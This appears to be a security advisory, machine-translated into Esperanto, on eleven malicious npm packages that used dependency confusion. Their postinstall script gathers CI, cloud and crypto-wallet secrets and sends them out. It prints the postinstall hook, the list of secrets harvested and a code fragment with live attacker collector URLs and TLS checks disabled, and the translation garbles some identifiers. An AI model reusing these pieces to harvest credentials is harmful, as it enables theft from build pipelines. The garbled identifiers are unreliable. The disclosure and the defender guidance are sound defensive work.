TL; DR
Je la 17-a de junio 2026, unu sola npm-konto publikigis dek unu pakaĵoj kiuj dividas unu celon kaj unu utilan ŝarĝonDek el ili portas la cryptodao- prefikso (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); la dekunua estas la ampleksita @public-for-cdao/coreĈiu estis publikigita ĉe versio 99.99.99 kaj sendas bajt-identan recon.js kiu funkcias per postinstall.
La nomoj estas la indiko. Ili legiĝas kiel la internaj konstrubriketoj de la privata ilĉeno de kripto/DAO-projekto. Publikigitaj en la publika npm-registro je artefarite alta versio, ili atendas konstruon. pipeline kiu estas agordita por solvi tiujn nomojn kaj kiu atingas publikan npm antaŭ — aŭ anstataŭ — la privata registro. Ĉi tio estas dependeca konfuzo, kaj la utila ŝarĝo estas agordita por precize kie ĝi atendas alteriĝi: CI/CD koridoroj.
Kiam postinstall fajroj, recon.js kolektas detalojn pri la gastiganto, balaas malglate kvardek variabloj pri nubo, integra kontinueco kaj kriptomonujo, legas iun ajn .env dosierojn, kiujn ĝi povas trovi, kaj plusendas la sekreto-portantajn liniojn laŭvorte, poste sendas la faskon al du kolektantoj — webhook.site kaj Pipedream-finpunkto — kun TLS-atesta konfirmo malŝaltita. Kopio ankaŭ estas skribita sub /tmp.
Severeco: altaTrafita ekosistemo: npmĈiuj dek unu pakaĵoj estis aktivaj dum la verkado de ĉi tiu teksto.
Atako-anatomio
La mekanismo havas kvar movajn partojn, kaj neniu el ili estas subtila post kiam oni scias kiel rigardu unu tavolon preter la pakaĵnomo.
1. Versiinflacio kiel solvilo. Ĉiu pakaĵo deklaras version 99.99.99Konfuzo pri dependecoj funkcias kiam pakaĵadministrilo petas interna nomo, ankaŭ kontrolas la publikan registron kaj elektas la plej altan version, kiun ĝi trovas. La defaŭlta elekto de npm por ĉapela aŭ ĵokera intervalo estas la plej alt-kontentiga versio tra ĉiu agordita fonto; se ambaŭ privata registro kaj publika npm respondas por la sama nomo, la pli granda versinumero venkas. A 99.99.99 superas esence ajnan realan internan version, kiun projekto havos atingita, do solvilo kiu ne estas ligita al la privata fonto preferas la publika — kaj en ĉi tiu kazo, malamika — kopio. La funkciigisto ne bezonas scii la la realaj versinumeroj de la celo; elekti absurdan maksimumon garantias la egalecon ĉiam rompas ilian vojon.
2. Postinstala ellasilo. pako.json kabligas la utilan ŝarĝon al la instalaĵo vivciklo:
{ "scripts": { "postinstall": "node recon.js" } } Neniu importado de la pakaĵo estas necesa. Nur instali ĝin — kion CI pipeline faras aŭtomate — funkcias rekon.js.
3. Larĝa sekreta traserĉo. rekon.js kunmetas rezultan tabelon laŭ etapoj:
- Gastiganta kunteksto: gastigantnomo, platformo kaj eldono, arkitekturo, uzantnomo, funkciado dosierujo.
- Mediaj variabloj: ĝi ripetas fiksan liston de ĉirkaŭ kvardek nomoj kaj rikordoj iujn ajn, kiuj estas agorditaj. La listo estas malkaŝanta — ĝi parigas ĝeneralajn CI-ĵetonojn (CI_JOB_TOKEN, CI_REGISTRO_PASVORT, GITLAB_ALIRO_ĴETONO) kaj nubo akreditaĵoj (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) kun registro kaj konteneraj sekretoj (NPM_TOKEN, DOKER_PASSWORD, HAVENO_PASVORTO) kaj klare kripto-gusta areto: PRIVATA_ŜLOSILO, MNEMONIKO, SEMFRASO, INFURA_API_KEY, ALKEMIO_API_ŜLOSILO, ETH_RPC, BSC_RPCRegistritaj valoroj estas stumpigitaj al la unuaj 50 signoj.
- .env dosieroj: ĝi esploras liston de vojoj — .env, ../.env, /app/.env, /aplikaĵo/malantaŭa/.env, /app/bot/.env, /hejmo/gitlab-runner/.env, /radiko/.env, kaj la .produktado/.disvolviĝo variaĵoj — kaj por iu ajn dosiero kiu ekzistas, ĝi filtras la enhavon al linioj kongruantaj ŜLOSILO|SEKRETO|ĴETONO|PASO|PRIVATA|MNEMONIKO kaj puŝas tiujn liniojn **komplete, nestumpigitajn** en la rezultojn.
- Kunteksto de konstruo-gastiganto: ĝi listigas la unuajn 20 enirojn de /konstruas/, /hejmo/gitlab-runner/konstruoj/, /var/lib/gitlab-runner/Kaj /tmp/.
La listo de vojoj kaj la listo de variabloj estas pezbalancitaj al GitLab-kuriloj, kiuj montras la utilan ŝarĝon rekte ĉe mem-gastigita CI-infrastrukturo anstataŭ programisto tekokomputilo. Grupigi la rikoltliston laŭ kategorio klarigas la celitan ŝarĝon:
| kategorio | Variabloj / vojoj atingitaj |
|---|---|
| CI/CD identeco kaj deplojo | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| nubo | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registro kaj ujo | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Datenvendejoj | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kripto / blokĉeno | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| mesaĝado | SLACK_TOKEN, DISCORD_TOKEN |
| Surdiska | .env familio + /home/gitlab-runner/.env, /root/.env, /app/**/.env; adresaraj listoj de /builds/, /var/lib/gitlab-runner/ |
La kripta areto estas la parto, kiu distingas ĉi tion de ĝenerala CI-sekreto. balaado: monujaj semfrazoj kaj subskribaj ŝlosiloj aperas nur en la ĉirkaŭaĵo de blokĉena projekto, kaj ili mapas rekte sur la kriptodao-/signo/kontraktoj nomado de la transportistoj.
4. Duobla elfiltrado kun konfirmo malŝaltita. La kolektita aro estas seriigita kaj sendita al du cellokoj:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) malakceptiNeaŭtorizita: malvera malŝaltas TLS-atestilkontrolojn por la eliranta mesaĝo vokoj. La samaj datumoj estas presitaj al stdout (tiel ke ili ankaŭ aperas en CI-laborprotokoloj) kaj skribita al /tmp/.npm_recon_ .jsonEraroj estas englutitaj silente, do malsukcesa sendo lasas neniun spuron en la instala eligo preter ununura [rekon] instalita sur linio.
Ĉefa komento en la dosiero priskribas ĝin kiel "Dependecan Konfuzon" Sciiga Ŝarĝo." La stumpigo de mediaj valoroj al 50 signoj okazis la formo de pruvo de koncepto. Kio movas ĝin preter ĉeest-nur-signalo estas la .env manipulado: sekreto-portantaj linioj estas plusenditaj plene, kaj la cellokoj estas du funkciaj, atakanto-kontrolitaj kolektantoj anstataŭ lavujo kiu nur validas sukcesoj.
templinio
La publikiga ŝablono estas la signaturo de ununura skriptita puŝo, ne dek unu sendependaj alŝutoj.
| Tempo (UTC, 2026-06-17) | okazaĵo |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 eldonita |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — skopita variaĵo, ~24 minutojn poste |
Dek pakaĵoj eliris ene de 29-sekunda periodo, proksimume unu ĉiujn tri sekundojn. La skopita @publika-por-cdao/kerno sekvis ĉirkaŭ 24 minutojn poste — dua nomkonvencio por la sama celo, se la konsumanta projekto referencas la interna ilĉeno sub amplekso anstataŭ kiel nudaj nomoj.
Indikiloj de kompromiso
| tipo | indikilo |
|---|---|
| Kolektanto | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Kolektanto | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Instali hokon | postinstall: node recon.js |
| Faligita dosiero | /tmp/.npm_recon_<timestamp>.json |
| Arbotrunka markilo | [recon] <pkg>@<ver> installed on <hostname> (standarda eliro en CI-protokoloj) |
| Kondutisma | rejectUnauthorized: false sur eliranta HTTPS dum instalado |
| utila ŝarĝo | recon.js, identa tra ĉiuj dek unu pakaĵoj (unu komuna konstruo) |
| versio | 99.99.99 sur ĉiu pakaĵo |
| pakaĵoj | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ĉiuj 99.99.99) |
| eldonisto | aduljune / aduljune@proton.me (retpoŝto nekonfirmita, neniu ligita fontdeponejo) |
Atribuo kaj observita konduto
Ĉio pri la areto indikas unu manon. Ĉiuj dek unu pakaĵoj estis publikigitaj. per la npm-konto aduljune (aduljune@proton.me, nekonfirmita adreso sen ligita fontdeponejo), ene de 25-minuta daŭro, samtempe 99.99.99 versio, sendante rekon.js kies enhavo estas bajto-post-bajta identa tra ĉiu pakaĵo (MD5 kongruas kun ĉiuj dek unu eltiritaj kopioj). Tio estas unu utila ŝarĝo stampita sur liston de nomoj, ne sendependan kodreuzon.
La nomlisto difinas la celitan celon. kriptodao-* kaj cdao priskribu la privata modula aranĝo de kripto/DAO-projekto, kaj la rikoltlisto de la utila ŝarĝo speguloj kiuj divenas: kune kun la ĝeneralaj sekretoj de kontinua integriĝo kaj nubo, ĝi specife etendiĝas por PRIVATA_ŜLOSILO, MNEMONIKO, SEMFRASO, kaj Ethereum/BSC RPC kaj provizantoŝlosiloj. La .env serĉpadoj kaj dosierujlistoj estas GitLab-runner specifa. La observebla efiko estas, ke iu ajn pipeline trompita por instali ĉi tiujn nomoj plusendus ĝiajn CI-ĵetonojn, nubajn ŝlosilojn kaj surdiskajn .env sekretoj — kaj, por blokĉena projekto, ĝia monuja materialo — al du triapartaj kolektantoj.
Ni ne pretendas, kiu funkciigas la konton aŭ kion ili planis fari kun la datumoj. La faktoj, kiuj staras memstare: la nomoj celas specifan specon de interna ilĉeno, la utila ŝarĝo legas kaj transsendas realajn sekretajn valorojn, kaj la la infrastrukturo estis aktiva.
Efiko, tendencoj, kaj gvidlinioj por defendantoj
Dependeca konfuzo restas efika ĉar ĝi ekspluatas solvilan konduton, ne vundebleco en iu ajn pakaĵo. La portanto ĉi tie estas sensignifa — dek unu preskaŭ malplenaj pakaĵoj — sed la radiuso de la eksplodo estas kia ajn pipeline erare preferas publikan npm por interna nomo. CI-kuristoj estas la plej malbona loko por tio: ili tenas ĝuste la ĵetonojn kaj .env dosierojn, kiujn ĉi tiu utila ŝarĝo legas, kaj ili instalas dependecoj ne-interage, do postinstalo kuras sen iu ajn rigardanto.
Ĉi tiu areto ankaŭ konformas al ŝablono, kiun ni daŭre vidas: instaltempaj ŝarĝoj, kiuj prezentas kiel "esplorado" aŭ "sciigo" dum farado de vera akreditaĵkolektado. La etikedo en la dosiero ne ŝanĝas tion, kion la kodo faras sur kuristo. Du dezajnaj elektoj konserviĝas la aktiveco kvieta: ĉiu reto kaj dosiersistema operacio estas envolvita en esceptotraktilo kiu forĵetas erarojn, do blokitan sendon aŭ mankantan dosieron produktas neniun diagnozan eliron, kaj la sola presita afero estas ununura sendanĝera [rekon] … instalita linio kiu miksiĝas en normalan instalan babiladon. La uzo de rethoko.ejo kaj Pipedream estas ankaŭ konscia oportuno — ambaŭ estas senpagaj, tuj provizitaj peto-kaptaj servoj, do la funkciigisto ne bezonas servilojn de siaj propraj kaj la cellokoj aspektas kiel ordinaraj SaaS-gastignomoj en eliraj protokoloj.
La ekonomiko estas tio, kio igas ĉi tion inda je la atento de defendanto, eĉ kvankam la La kodo de la transportisto estas sensignifa. Registri dek unu nomojn kostas nenion, la ŝarĝo estas unu dosiero kopiita dek unu fojojn, kaj la pakaĵadministrilo faras la tutan plenumon. Unuopa misagordita pipeline ie ajn, kiu konsumas unu el ĉi tiuj nomoj, pagas por la tuto operacio.
Konkretaj paŝoj por defendantoj:
- Alfiksu internajn ampleksojn al via privata registro. Agordi npm do internajn nomojn
kaj ampleksoj solviĝas nur kontraŭ via registro (ampleksitaj .npmrc-registromapadoj, aŭ prokurilo kiu neniam trafas publikan npm por posedataj nomspacoj). Rezervu viajn publikajn amplekson-nomojn por ke neniu alia povu registri ilin.
- Commit ŝlosdosierojn kaj instali per –ignore-scripts en CI kie eble, aŭ kontrolu la malgrandan aron de dependecoj, kiuj vere bezonas instalskriptojn. recon.js ne povas funkcii se postinstalo ne estas ekzekutita.
- Traktu 99.99.99 (aŭ alian absurde altan) version de interneaspektanta nomo kiel ruĝa flago en dependecrevizio kaj registromonitorado.
- Averto pri eliro dum instalado. A postinstalo kiu malfermas elirantan HTTPS-mesaĝon konekto — precipe kun atestila konfirmo malŝaltita — al webhook.site, Pipedream, aŭ similaj peto-kaptaj servoj valoras esti blokitaj ĉe la reto-rando kaj markitaj en konstruaj protokoloj.
- Ĉasu la artefaktojn. Kontrolu kuristojn por /tmp/.npm_recon_*.json kaj por la [rekon] ... instalita sur ... markilo en lastatempaj CI-protokoloj. Se trovite, rotaciu ĉiun akreditaĵo eksponita al tio pipeline — CI-ĵetonoj, nubŝlosiloj, registroĵetonoj, kaj ajnaj monujaj semoj aŭ privataj ŝlosiloj ĉeestantaj en la ĉirkaŭaĵo aŭ .env-dosieroj.
Referencoj
Neniu ekstera raportado pri ĉi tiu grupo ekzistis dum la verkado; la analizo supre baziĝas rekte sur la publikigita pakaĵenhavo




